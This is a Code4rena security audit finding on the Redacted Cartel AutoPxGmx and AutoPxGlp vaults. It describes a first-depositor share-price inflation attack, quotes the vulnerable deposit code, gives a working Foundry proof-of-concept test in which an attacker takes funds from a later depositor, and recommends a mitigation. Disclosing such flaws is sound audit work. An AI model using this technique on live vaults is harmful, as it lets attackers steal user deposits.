early user who deposit in vaults can manipulate prices of shares to steal funds from future depositors

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L370-L404
https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGlp.sol#L367-L404
https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGlp.sol#L330-L356
https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGlp.sol#L413-L431
https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L80-L97
https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L60-L78

Vulnerability details

Impact

As there is no minimum that user have to deposit in the vault at the beginning, the first user can deposit 1 asset to get 1 share. Then, he deliberately transfer large amount of assets (pxGMX or pxGLP) to inflate the price of 1 share. This causes a future user who deposit to lose out on precision loss as there is only 1 share in the pool but large amount of assets in the pool.

Proof of Concept

This vulnerability applies to PirexERC4626 mint and deposit and both autoPxGLP and autoPxGmx deposit* functions. Let's start with the first user calling deposit with value of parameter assets being 1 for autoPxGMX.

    
    function deposit(uint256 assets, address receiver)
        public
        virtual
        returns (uint256 shares)
    {
        if (totalAssets() != 0) beforeDeposit(receiver, assets, shares);

        // Check for rounding error since we round down in previewDeposit.
        require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");

        // Need to transfer before minting or ERC777s could reenter.
        asset.safeTransferFrom(msg.sender, address(this), assets);

        _mint(receiver, shares);

        emit Deposit(msg.sender, receiver, assets, shares);

        afterDeposit(receiver, assets, shares);
    }

This is going to mint 1 share for the user. With only one share in the pool, the first user then transfers 1000 pxGMX into the vault. The price of 1 share went from 1 pxGMX to 1001.

Let's say second user decides to deposit 2000 pxGMX.

        if (
            (shares = supply == 0
                ? assets
                : assets.mulDivDown(supply, totalAssets() - assets)) == 0
        ) revert ZeroShares();


        _mint(receiver, shares);

assets.mulDivDown(supply, totalAssets() - assets)) will calculate shares that user will get. 2000 * 1 / (3001 - 2000)
which is 2001 /1001 and thus rounds down to 1 share. Notice the lost in precision due to supply being 1 only.

Now when first user withdraws, he will be taking half the assets of the vault as there are only 2 shares, 3001/2 = 1500 assets. He stole 500 from the second user, netting 454 after withdrawal penalty.

Place poc in AutoPxGmx.t.sol

    function testAttackerCanManipulatePriceAndGain() external {

        address attacker = testAccounts[0];
        address victim = testAccounts[1];

        vm.startPrank(address(pirexGmx));
        pxGmx.mint(attacker, 1001);
        pxGmx.mint(victim, 2000);
        vm.stopPrank();


        vm.startPrank(attacker);

        pxGmx.approve(address(autoPxGmx), 1001);

        autoPxGmx.deposit(1, attacker);
        pxGmx.transfer(address(autoPxGmx), 1000);
        assertEq(autoPxGmx.balanceOf(attacker) ,1); //assert attacker has 1 shares

        vm.stopPrank();

        vm.startPrank(victim);
        pxGmx.approve(address(autoPxGmx), 2000);
        autoPxGmx.deposit(2000, victim);
        assertEq(autoPxGmx.balanceOf(victim) ,1); //assert victim has 1 shares

        vm.stopPrank();

        vm.startPrank(attacker);

        autoPxGmx.redeem(1, attacker, attacker);

        emit log_uint(pxGmx.balanceOf(attacker)); //1455 -> gaining 454 after fees

        vm.stopPrank();
    }

As you can see, attacker has 1001 in the beginning. He ends the attack with 1455 pxGmx. Victim loses around 500 pxGmx from the attack. This attack can be scaled to the millions with the same concept.

Tools Used

Foundry

Recommended Mitigation Steps

Consider requiring a minimum amount of shares to be minted for the first minter, then send a part of the minter's share to address 0 to make it more resilient.

[c4-judge]

Picodes marked the issue as duplicate of #407

[c4-judge]

Picodes marked the issue as satisfactory

[C4-Staff]

JeeberC4 marked the issue as duplicate of #275